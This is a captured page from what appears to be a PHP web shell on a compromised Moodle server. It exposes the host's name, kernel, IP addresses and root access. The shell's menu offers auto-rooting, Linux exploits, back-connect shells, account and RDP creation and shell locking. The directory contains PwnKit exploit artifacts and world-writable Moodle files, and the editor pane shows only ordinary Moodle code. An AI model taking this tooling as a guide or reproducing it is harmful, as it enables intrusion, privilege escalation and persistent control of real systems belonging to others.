Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
webservice /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
documentation.php
1.95
KB
-rwxrwxrwx
forms.php
13.18
KB
-rwxrwxrwx
lib.php
4.98
KB
-rwxrwxrwx
protocols.php
2.61
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
service.php
3.98
KB
-rwxrwxrwx
service_functions.php
4.83
KB
-rwxrwxrwx
service_user_settings.php
3.1
KB
-rwxrwxrwx
service_users.php
4.92
KB
-rwxrwxrwx
testclient.php
5.87
KB
-rwxrwxrwx
testclient_forms.php
12.46
KB
-rwxrwxrwx
tokens.php
4.96
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Web services admin library * * @package webservice * @copyright 2009 Moodle Pty Ltd (http://moodle.com) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once($CFG->dirroot . '/user/selector/lib.php'); /* * This class displays either all the Moodle users allowed to use a service, * either all the other Moodle users. */ class service_user_selector extends user_selector_base { protected $serviceid; protected $displayallowedusers; //set to true if the selector displays the //allowed users on this service //, set to false if the selector displays the // other users (false is the default default) public function __construct($name, $options) { parent::__construct($name, $options); if (!empty($options['serviceid'])) { $this->serviceid = $options['serviceid']; } else { throw new moodle_exception('serviceidnotfound'); } $this->displayallowedusers = !empty($options['displayallowedusers']); } /** * Find allowed or not allowed users of a service (depend of $this->displayallowedusers) * @global object $DB * @param <type> $search * @return array */ public function find_users($search) { global $DB; //by default wherecondition retrieves all users except the deleted, not //confirmed and guest list($wherecondition, $params) = $this->search_sql($search, 'u'); $params['serviceid'] = $this->serviceid; $fields = 'SELECT ' . $this->required_fields_sql('u'); $countfields = 'SELECT COUNT(1)'; if ($this->displayallowedusers) { ///the following SQL retrieve all users that are allowed to the serviceid $sql = " FROM {user} u, {external_services_users} esu WHERE $wherecondition AND u.deleted = 0 AND esu.userid = u.id AND esu.externalserviceid = :serviceid"; } else { ///the following SQL retrieve all users that are not allowed to the serviceid $sql = " FROM {user} u WHERE $wherecondition AND u.deleted = 0 AND NOT EXISTS (SELECT esu.userid FROM {external_services_users} esu WHERE esu.externalserviceid = :serviceid AND esu.userid = u.id)"; } list($sort, $sortparams) = users_order_by_sql('u', $search, $this->accesscontext); $order = ' ORDER BY ' . $sort; if (!$this->is_validating()) { $potentialmemberscount = $DB->count_records_sql($countfields . $sql, $params); if ($potentialmemberscount > $this->maxusersperpage) { return $this->too_many_results($search, $potentialmemberscount); } } $availableusers = $DB->get_records_sql($fields . $sql . $order, array_merge($params, $sortparams)); if (empty($availableusers)) { return array(); } if ($search) { $groupname = ($this->displayallowedusers) ? get_string('serviceusersmatching', 'webservice', $search) : get_string('potusersmatching', 'webservice', $search); } else { $groupname = ($this->displayallowedusers) ? get_string('serviceusers', 'webservice') : get_string('potusers', 'webservice'); } return array($groupname => $availableusers); } /** * This options are automatically used by the AJAX search * @global object $CFG * @return object options pass to the constructor when AJAX search call a new selector */ protected function get_options() { global $CFG; $options = parent::get_options(); $options['file'] = $CFG->admin.'/webservice/lib.php'; //need to be set, otherwise // the /user/selector/search.php //will fail to find this user_selector class $options['serviceid'] = $this->serviceid; $options['displayallowedusers'] = $this->displayallowedusers; return $options; } }
Close